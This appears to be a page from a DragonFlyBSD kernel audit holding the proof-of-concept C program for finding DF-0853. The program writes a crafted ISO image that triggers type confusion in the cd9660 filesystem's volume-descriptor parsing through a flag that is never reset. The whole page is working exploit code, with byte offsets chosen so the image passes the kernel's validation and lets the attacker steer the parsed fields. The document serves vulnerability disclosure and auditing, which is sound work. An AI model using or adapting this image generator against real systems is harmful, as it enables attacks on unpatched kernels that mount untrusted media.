DragonFlyBSD Kernel Audit
DF-0853 / make_crafted_iso.c
← back to finding ↓ download raw
/*
 * DF-0853 PoC: high_sierra flag is sticky -> type confusion.
 *
 * cd9660_vfsops.c:334-340 sets high_sierra=1 when any volume descriptor
 * matches the Sierra id ("CDROM") but NEVER resets it. The flag is then
 * consulted at cd9660_vfsops.c:342 to choose whether to read vdp->type
 * (standard) or vdp->type_sierra (Sierra) for *every* subsequent descriptor,
 * and at :396-417 to choose between pri vs pri_sierra field offsets. Since
 * pri and pri_sierra are both casts of the SAME buffer (:347-349), reading
 * the wrong one parses a Standard ISO9660 PVD at Sierra offsets -- classic
 * type confusion. The kernel then prints "cd9660: High Sierra Format"
 * (cd9660_vfsops.c:503) and sets iso_ftype = ISO_FTYPE_HIGH_SIERRA for an
 * image whose actual primary descriptor is Standard ISO9660.
 *
 * This program emits a 100-sector image that triggers the confusion:
 *
 *   sector 16  : Sierra decoy descriptor
 *                vdp->id_sierra (off 9-13) = "CDROM"  -> high_sierra = 1
 *                vdp->type_sierra (off 8)  = 3        -> default case
 *   sector 17  : Standard ISO9660 PVD
 *                vdp->id (off 1-5)         = "CD001"  -> standard match,
 *                                                          does NOT touch
 *                                                          high_sierra
 *                byte off 8 (system_id[0]) = 1        -> type_sierra reads
 *                                                          1 = ISO_VD_PRIMARY
 *                -> pri and pri_sierra both point here
 *                -> bytes 136-137 = 0x00 0x08 so that the Sierra-cast
 *                   logical_block_size (off 136-139 of the PVD) decodes to
 *                   isonum_723 = 0x0800 = 2048 -- passes the
 *                   DEV_BSIZE..MAXBSIZE power-of-2 validation at :401.
 *   sector 18  : Standard VD_END
 *                vdp->id (off 1-5)         = "CD001"  -> standard match
 *                byte off 8 (system_id[0]) = 255      -> type_sierra reads
 *                                                          255 = ISO_VD_END
 *                -> exits the descriptor loop
 *
 * Observable effect on the UNPATCHED kernel:
 *   - kernel logs "cd9660: High Sierra Format" to dmesg for a Standard ISO.
 *   - iso_ftype is set to ISO_FTYPE_HIGH_SIERRA, which selects different
 *     metadata-parsing routines (cd9660_vnops.c cd9660_defattr/deftstamp).
 *
 * No OOB memory access happens in cd9660_vfsops.c itself: all bread()s are
 * device-bounded and the bcopy of rootp (34 bytes from PVD offset 180) stays
 * inside the 2048-byte buffer. The damage is *type confusion*: the kernel
 * drives downstream parsing with fields read at the wrong offsets, so an
 * attacker-chosen ISO controls logical_block_size, volume_space_size,
 * root_extent, root_size, etc., in a way the standard validation never
 * intended.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#define SECTOR 2048
static uint8_t img[100 * SECTOR];   /* zero-initialised */

/* 733: LE u32 then BE u32 (8 bytes) */
static void put733(uint8_t *p, uint32_t v) {
    p[0] =  v        & 0xff; p[1] = (v >>  8) & 0xff;
    p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff;
    p[4] = (v >> 24) & 0xff; p[5] = (v >> 16) & 0xff;
    p[6] = (v >>  8) & 0xff; p[7] =  v        & 0xff;
}

/* 723: LE u16 then BE u16 (4 bytes) */
static void put723(uint8_t *p, uint16_t v) {
    p[0] =  v        & 0xff; p[1] = (v >> 8) & 0xff;
    p[2] = (v >> 8) & 0xff; p[3] =  v       & 0xff;
}

int main(int argc, char **argv) {
    const char *out = argc > 1 ? argv[1] : "crafted.iso";

    /* ---- sector 16: Sierra decoy -------------------------------------- */
    uint8_t *s = img + 16 * SECTOR;
    s[0] = 0;                                  /* vdp->type (don't care) */
    /* vdp->id (off 1-5): deliberately NOT "CD001" */
    memset(s + 1, 0, 5);
    s[6] = 0;                                  /* version (don't care)   */
    s[7] = 0;                                  /* unused                 */
    s[8] = 3;                                  /* vdp->type_sierra=3 -> default case  */
    memcpy(s + 9, "CDROM", 5);                 /* vdp->id_sierra -> high_sierra = 1   */
    s[14] = 1;                                 /* version_sierra                      */

    /* ---- sector 17: Standard ISO9660 PVD ------------------------------ */
    s = img + 17 * SECTOR;
    s[0] = 1;                                  /* type = ISO_VD_PRIMARY (standard)    */
    memcpy(s + 1, "CD001", 5);                 /* id -> standard match, no high_sierra touch */
    s[6] = 1;                                  /* version                             */
    s[7] = 0;                                  /* unused1                             */
    s[8] = 1;                                  /* system_id[0]=1 -> vdp->type_sierra reads 1=PRIMARY */
    /* standard logical_block_size @ off 128-131 = 2048 */
    put723(s + 128, 2048);
    /* standard path_table_size @ off 132-139 (733). Its BE half overlaps
     * the Sierra-cast pri_sierra->logical_block_size (off 136-139). Force
     * the Sierra-cast read to 2048 (0x0800 LE): bytes 136-137 = 0x00 0x08. */
    s[132] = 0x10; s[133] = 0; s[134] = 0; s[135] = 0;
    s[136] = 0x00; s[137] = 0x08; s[138] = 0; s[139] = 0;
    /* standard volume_space_size @ off 80-87 (733) */
    put733(s + 80, 100);
    /* standard root_directory_record @ off 156-189: leave mostly zero;
     * length byte = 34 so it parses as a valid record. */
    s[156] = 34;

    /* ---- sector 18: Standard VD_END terminator ------------------------ */
    s = img + 18 * SECTOR;
    s[0] = 255;                                /* type = ISO_VD_END (standard)        */
    memcpy(s + 1, "CD001", 5);                 /* id -> standard match                */
    s[6] = 1;                                  /* version                             */
    s[7] = 0;
    s[8] = 255;                                /* system_id[0]=255 -> type_sierra reads 255=END */

    FILE *f = fopen(out, "wb");
    if (!f) { perror(out); return 1; }
    fwrite(img, 1, sizeof(img), f);
    fclose(f);
    printf("DF-0853: wrote %s (%zu bytes)\n", out, sizeof(img));
    return 0;
}